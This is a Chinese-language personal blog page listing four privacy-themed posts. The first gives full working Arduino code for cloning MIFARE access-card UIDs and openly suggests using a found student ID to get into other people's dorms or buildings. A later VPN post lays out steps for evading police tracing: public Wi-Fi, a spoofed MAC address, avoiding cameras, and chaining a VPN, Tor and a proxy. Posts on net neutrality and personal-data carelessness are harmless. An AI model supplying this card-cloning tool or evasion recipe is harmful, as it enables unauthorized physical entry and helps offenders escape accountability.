Weil Jimmer's BlogWeil Jimmer's Blog


Category:Privacy

Found 4 records. At Page 1 / 1.

RFID MIFARE卡 修改 UID 進入門禁系統

7 Comments
-
更新於 2017-11-03 23:48:45

0x00 前言

最近會想寫這篇文章主要是在網路上無意間看到了RFID相關裝置,突然萌生很久以前一直想玩的事情,於是乎,就打算來實作門禁卡的複製。再加上好久沒寫文章,現在我也懶得管是不是技術成分很重才寫,以後文章我大概也是這樣,寫得很淺,除非我研究了什麼很困難的東西。

其次,真心很感謝 Joe Jimmy 的裝置贊助,不然我大概也不會去做這個實驗,至少要等到以後購買裝備時才會做起。

0x01 目的

為了通過感應 MIFARE卡 的門禁系統,因此需要複製有效的密碼卡而進入該門。

0x02 原理

目前大部分學校門禁系統都採用 13.56 MHz 頻率的 RFID 感應卡,且學生證普遍都是和悠遊卡公司合作的學生證,基本上都是有 KeyA 和 KeyB 和 控制位元保護的。因此門禁系統想用學生證刷過,"應該是"只能採用識別 UID 的方式來驗證使用者的身分,進而決定是否開放使用者進入。如果是另外發放密碼卡,則可能該密碼卡有經過加密,驗證使用者可能不是驗證 UID,若如此,這篇文章就不適用於這種驗證方法。本篇文章僅針對 UID 部分的驗證做出複製卡 (Clone Card)。

0x03 配備

  1. Arduino Mega 2560
  2. MFRC522
  3. 數張 可修改 UID 的 S50 空白卡
  4. 蜂鳴器(非必須,覺得有聲音比較好。)

0x04 結果

以下是我寫卡UID的程式碼是參考 這篇文章 寫的,稍作修改,lib 也是採用同篇 GitHub 文章。

#include <SPI.h>
#include <MFRC522.h>
#include <MFRC522Hack.h>

constexpr uint8_t RST_PIN = 8;
constexpr uint8_t SS_PIN = 9;

MFRC522 mfrc522(SS_PIN, RST_PIN);
MFRC522Hack mfrc522Hack(&mfrc522);

byte newUid[] = {0xDE, 0xAD, 0xBE, 0xEF}; //預設UID
bool write_enable = false;
int wait_sec = 0;

MFRC522::MIFARE_Key key;

void setup() {
  Serial.begin(9600);
  while (!Serial);
  SPI.begin();
  mfrc522.PCD_Init();
  Serial.println(F("Warning: this example overwrites the UID of your UID changeable card, use with care!"));
  
  for (byte i = 0; i < 6; i++) {
    key.keyByte[i] = 0xFF;
  }
}

void loop() {

  if(wait_sec>=0 && write_enable){
    wait_sec=wait_sec-1;
    delay(1000);
    if(wait_sec<2){
      tone(5, 466, 125);
    }
    if(wait_sec<=0){
      write_enable=false;
    }
  }
  
  // Look for new cards, and select one if present
  if ( ! mfrc522.PICC_IsNewCardPresent() || ! mfrc522.PICC_ReadCardSerial() ) {
    delay(50);
    return;
  }

  if(!write_enable){
    byte *id = mfrc522.uid.uidByte;
    byte idSize = mfrc522.uid.size;
    Serial.print("UID Size: ");
    Serial.println(idSize);
    if(idSize!=4){
      Serial.println(F("New UID is not 4 byte!"));
      return;
    }
    Serial.println(F("New UID set!"));
 
    for (byte i = 0; i < idSize; i++) {
      Serial.print("id[");
      Serial.print(i);
      Serial.print("]: ");
      newUid[i]=id[i];
      Serial.println(id[i], HEX);
    }
    Serial.println();
    mfrc522.PICC_HaltA();
    write_enable=true;
    wait_sec=10;
    tone(5, 740, 500);
    delay(50);
    return;
  }
  
  // Dump UID
  Serial.print(F("Card UID:"));
  for (byte i = 0; i < mfrc522.uid.size; i++) {
    Serial.print(mfrc522.uid.uidByte[i] < 0x10 ? " 0" : " ");
    Serial.print(mfrc522.uid.uidByte[i], HEX);
  } 
  Serial.println();
  
  // Set new UID
  if ( mfrc522Hack.MIFARE_SetUid(newUid, (byte)4, true) ) {
    Serial.println(F("Wrote new UID to card."));
  }
  
  // Halt PICC and re-select it so DumpToSerial doesn't get confused
  mfrc522.PICC_HaltA();
  if ( ! mfrc522.PICC_IsNewCardPresent() || ! mfrc522.PICC_ReadCardSerial() ) {
    return;
  }
  
  // Dump the new memory contents
  Serial.println(F("New UID and contents:"));
  mfrc522.PICC_DumpToSerial(&(mfrc522.uid));
  tone(5, 740, 250);
  delay(500);
  tone(5, 740, 250);
  write_enable = false;
  delay(2000);
}

以上程式碼之功能是將要被複製的卡貼近 RC522模組,然後再將要被寫入UID的卡貼近,寫入動作結束時會B兩聲,此刻再去檢查Output的值看看有沒有寫入成功。我目前的設定是第二張卡超過10秒就不寫入了,不是無限等待,要再把第一張靠近,在10秒內放入第二張卡。

學會這個小伎倆,往後只要撿到別人的學生證就有機會可以複製對方卡的資訊,之後就可以直接進入別人的宿舍。或者是有設門禁卡的公寓、公司、飯店…等場所,就可以多備份幾把鑰匙卡。紀錄UID也未必要使用模組,有NFC功能的手機就可以讀取資訊,甚至是寫入卡片資料或模擬 UID。

再次提醒,目前複製卡的成果僅次於 UID 的讀寫,如果門禁系統採用非 UID 認證,而是使用 KeyA 或 KeyB 及 控制位元,那就可能必須破解其卡片密鑰才可以存取特定資料,否則就無法輕易的複製卡片資料。

以上是寫入卡片成功的示意圖片。

五張特製可修改 UID 的 S50 卡都被修改為相同的 UID。

這裡文章就差不多到結尾了,我想先說明幾件需要注意的事。

首先,空白卡不是所有卡片都可以修改 S0B0 (Sector 0 Block 0) 區塊的製造商資訊(這裡也是 卡號UID 的所在之處),有很多卡片都是直接燒死的,要嘛是 WriteOnce,要嘛就直接不給寫。要購買卡片時要先注意那張卡片到底可不可以修改,一般正常S50標準卡都是不可寫的,UID不給修改。

其次就是頻率一定要對得到。卡片也有頻率的,隨便亂買門禁空白卡,可能會買到 125KHz 的低頻卡,那就不合目前的模組的頻率,也比較少見。目前悠遊卡、一卡通普遍都是採用 13.56 MHz 的卡片。

最後,卡片也是大有學問的,每種卡都有使用說明書 DataSheet,扇區的數量那些都不一定,而且UID不僅僅是4個Byte,也許是7個Byte,甚至是10個。至於前面S0B0區呢,配置也是有一定規章的,這篇文章我就不講那麼詳細了。反正沒有要到完全複製卡的程度,講那麼多卡區的沒什麼意思。

差不多就這樣,日後想到新的再補充。

By Weil Jimmer


This entry was posted in Arduino, C, General, Experience, Privacy By Weil Jimmer.

行動日(Day of Action) - 網際網路自由

No Comments
-
更新於 2017-08-14 21:13:25

2017年07月12日,有很多大型網站、論壇、網友們都會團結一致的向美國聯邦通訊委員會(FCC)對網路中立性的破壞表達抗議!您也可以透過這個連結一起加入抗議:https://www.battleforthenet.com/july12/

現在,新的FCC主席試圖有計劃性的摧毀網路中立性,並使各種大型電信業者能夠控制我們所看到的各種網站。如果他們順利通過了,FCC將給這些大公司權力來控制我們在網際網路上看到的東西,同時有權降低網站速度或阻擋網站,甚至對特定網站或應用程式收取額外的費用。

如果我們失去了網際網路中立性,我們很快就會面臨一個受控制、受審查、不自由的網路,一些你喜歡的網頁可能會跑得特別慢,一些擁有資金的大公司的瀏覽相同的網頁卻跑得特別快。或是一些網頁被徹底封鎖無法瀏覽。

但在七月十二日,網際網路中,將會誕生出一股力量團結在一起阻止他們。各大網站與網民和網上論壇都將齊心對抗FCC的對網路的攻擊。

Google、Facebook、Twitter、Dropbox、Imgur、Opera、Amazon……等數不清大大小小的網站都已經加入這個行列了。

「網際網路的戰役(The Battle for the Net)」活動即將展開,使您的朋友、家人和追隨者能夠採取很簡單的行動以抵制這項法案通過。

了解更多並加入行動:https://www.battleforthenet.com/july12/

什麼是網際網路中立?

簡言之,就是網路使用不應該因為使用者的階級、身分、各種因素而被有所差別待遇,ISP業者不可以因為一些私人因素或是政府法令而故意限制某些網站的連線速度、或是封鎖、審查某些網站。所有資訊的獲得應該平等對待,不會受到各種不公的濫用,不會使網際網路變成一個滿足私利的一個工具。

如果沒有網路中立,有可能會發生哪些事情?

我覺得最好拿來比喻的一件事就是中國大陸的網際網路封鎖,沒有所謂的網路言論自由,可能有一堆網站根本連不上或變非常慢,有一堆政府審查的機制。想想看,如果有人在背後監視你在網路上的一舉一動那將是什麼樣的感覺?

我認為網際網路本身就應該要是自由開放的,不會因為被企業、政府控制著而抑制了網路的多元性。


This entry was posted in General, The Internet, Privacy By Weil Jimmer.

個人資料的隱私

No Comments
-
發布於 2017-05-08 01:56:01

近日,心情很不好,我常在想,為什麼周遭的人可以不在乎自己的個資,不在乎這些個資可以怎麼被人利用。

由於某大學的一堂課需要出校外,而學校規定老師一定要幫學生保險,而保險這件事則需要個資,所以呢?學生交給老師身分證字號、電話、聯絡人就夠了吧?我相信老師,而且老師本來就有權限取得這些相關資料,然而!卻是交給學生處理

這簡直氣死我了,就在課堂上,傳單子,任何人都可以看到那張有全班個資的單子,任何人都有那個機會可以偷偷記錄下來。我在想,既然老師信任那個同學,要他負責,那他也可以採取別的方式,例如Google表單,何必要在班上傳?

更離譜的是,後來還傳到通訊軟體上面!我的天呀,在班上傳的話,可能會因為其他人關注而不敢偷拍,但是網路上,就沒這困擾了,直接檔案存下來,神不知鬼不覺。

更何況,學校的校務系統修改個人選課密碼的方式其一就是填寫個資,剛好這些個資,那張單子上都有,所以,只要有人拍下來,就相當於可以登入校務系統偷看你住在哪裡,偷看你的成績,偷偷亂選課,全部退選之類的。

因此,當天我立刻私訊了網管,要求他設定我的帳號不可以因填寫個資而變動密碼,很快的他也回應了,所以知道我個資,依舊無法修改我的選課密碼。這倒是讓我放心不少。

我告訴我身邊的人,但感覺他們一點都不太在乎。我認為這是非常重要的一件事,所有應該要認真保護自己的人都應該要關注自己的個資才對,這真是讓我對周遭同學失望透底。

記得高中時期,我很愛看一部電視劇《Mr. Robot》,故事中的男主角就是一名駭客,駭了數不清數目的人,翻出他們的社交活動,看看有沒有違法事情,我倒是覺得,主角很像我的寫照。

有點類似:駭客很注重資訊安全,很不想自己被別人駭,駭客被駭豈不是很可笑?

還滿希望身邊的人能夠更注意自己的隱私安全,不論是線上還是現實生活。為了自己好,也為了朋友好。

By Weil Jimmer


This entry was posted in General, Experience, Mood, Privacy By Weil Jimmer.

VPN 真的安全嗎?

1 Comments
-
更新於 2017-05-08 01:29:00

真匿名嗎?

網路上一堆VPN供應商都很愛說 NO Log 不紀錄用戶的數據 ,但客戶又怎麼知道真的沒有紀錄,每個服務商都說保護用戶隱私,然後當警察追查的身分的時候,一下就被服務供應商給賣了。

網路上有不少案例,例如垃圾 HideMyAss ,竟然提交出去給警方,根本就垃圾!會想使用VPN,甚至是付費VPN的人是一定要真匿名與真安全的,然後網路上很少是這麼做的。

經過我自己去調查了一陣子之後,發現,很多部落客發出的文章都說:「那些 VPN 普遍都是騙子,當警察要抓你的時候,VPN供應商就丟出你的用戶資料!」

不是說好了要刪除嗎?不要紀錄嗎?

所以,還是沒辦法只透過一層加密的服務就擺脫所有事情,如果只用 OpenVPN代理一層應該很有機率還是會被追查到。

我是不知道警察有沒有權限可以管到國外的VPN,甚至VPN主機商主動提供資料給警察。

這部分待定。我只知道要通過複雜的代理才可以真正得到 FreeDom 以及 Privacy 。否則現在任何人在網路上做任何事,都非常有機會被抓到,只要有人提告,你基本很難逃離,更何況一般不懂網路的使用者。

通常要躲避被追蹤可以使用Tor洋蔥瀏覽器,或是使用好一點的VPN。雖然Tor的三個節點很可能都是蜜罐被FBI給設陷阱了,所以要先掛一層VPN再用Tor瀏覽器,才會比較安全一點。

「隱私是你的基本權利,不需要擔心他人在背後監視我並懲罰我就因為我當我自己。」

老實說,台灣警察要抓人,光是知道IP是沒辦法的,之前我查的結果是說:必須要先定罪,警察才有權限查IP。否則不可以亂查,更何況國外,應該是不太可能查到的。機會很渺茫。即使如此,我個人還是希望高安全性。絕對匿名!

先在公開的WiFi網路下(記得修改MAC地址,不可以被周圍攝影機拍到自己),註冊安全一點的VPN服務,再開Tor瀏覽器,如果可以的話,再掛一層Web Proxy,這樣基本上就很難追查了。

以上。


This entry was posted in Experience, Mood, The Internet, Privacy By Weil Jimmer.

 1 /1 頁)

Visitor Count

pop
nonenonenone

Note

台灣假新聞橫行,沒一家霉體能信的,網軍側翼到處洗風向,堪憂。

毋忘初心,
絕不利慾薰心。

支持網路中立性.
Support Net Neutrality.

飽暖思淫欲,
饑寒起盜心。

支持臺灣實施無條件基本收入

歡迎前來本站。

Words Quiz


Search

Music

Blogging Journey

4465days

since our first blog post.

The strong do what they can and the weak suffer what they must.

Privacy is your right and ability to be yourself and express yourself without the fear that someone is looking over your shoulder and that you might be punished for being yourself, whatever that may be.

It is quality rather than quantity that matters.

I WANT Internet Freedom.

Reality made most of people lost their childishness.

Justice,Freedom,Knowledge.

Without music life would be a mistake.

Support/Donate

This site also need a little money to maintain operations, not entirely without any cost in the Internet. Your donations will be the best support and power of the site.
MethodBitcoin Address
bitcoin1gtuwCjjVVrNUHPGvW6nsuWGxSwygUv4x
buymeacoffee
Register in linode via invitation link and stay active for three months.Linode

Support The Zeitgeist Movement

The Zeitgeist Movement

The Lie We Live

The Lie We Live

The Questions We Never Ask

The Questions We Never Ask

Man

Man

THE EMPLOYMENT

Man

In The Fall

In The Fall

Facebook is EATING the Internet

Facebook

Categories

Android (7)

Announcement (4)

Arduino (2)

Bash (2)

C (3)

C# (5)

C++ (1)

Experience (52)

Flash (2)

Free (13)

Functions (36)

Games (13)

General (60)

Git (2)

HTML (7)

Java (13)

JS (7)

Mood (24)

NAS (2)

Note (32)

Office (1)

OpenWrt (6)

PHP (9)

Privacy (4)

Product (12)

Python (4)

Software (11)

The Internet (25)

Tools (16)

VB.NET (8)

WebHosting (7)

Wi-Fi (5)

XML (4)